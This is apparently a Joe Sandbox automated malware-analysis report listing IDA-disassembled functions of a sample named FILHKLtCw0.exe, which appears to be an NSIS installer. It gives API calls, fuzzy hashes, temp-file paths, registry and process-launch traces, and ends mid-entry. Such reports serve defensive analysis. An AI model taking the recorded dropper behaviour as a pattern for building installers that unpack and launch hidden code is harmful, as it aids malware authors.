Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FILHKLtCw0.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 100024A9 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Memory Dump Source

Source File: 00000000.00000002.2872673692.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2872653525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872698277.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872715437.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FILHKLtCw0.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsn582.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsn582.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nsn582.tmp, xrefs: 0040257C
C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsn582.tmp$C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll
API String ID: 3109718747-785379101
Opcode ID: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction ID: 733a5b8a3421de7103486a8e2fd1e7248c9e7ae9f3a69bb90da27b1d5488d101
Opcode Fuzzy Hash: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction Fuzzy Hash: E011EB71A01205BBDB10AF718F49A9F3265DF44754F24403BF501F61C2EAFC9D91566D

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2872673692.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2872653525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872698277.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872715437.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FILHKLtCw0.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2872673692.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2872653525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872698277.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872715437.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FILHKLtCw0.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 00405F22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F4C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F6D
RegCloseKey.ADVAPI32(?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F90

Strings

Call, xrefs: 00405F25

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 7b18913d2a4f7d1a63d21b64be8b0843a819b9ea39c2317e7442ba644687e02f
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 1801483110060AAECB218F66ED08EAB3BA8EF94350F01402AFD44D2260D734D964CBA5

Function 00405A09 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A0F
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A19
lstrcatW.KERNEL32(?,0040A014), ref: 00405A2B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction ID: 6c4fcacab342d11fcc3e0291a3358bee332e4b98312e181ff459d3a43eef6c86
Opcode Fuzzy Hash: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction Fuzzy Hash: E4D0A771101D306AC211EB548C04DDF72ACAE45344381007BF502B30E1CB7C1D618BFE

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,759223A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405B11 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,75923420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\FILHKLtCw0.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70,75923420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\FILHKLtCw0.exe"), ref: 00405B6A
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70,75923420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 00405B7A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B11

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-823278215
Opcode ID: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
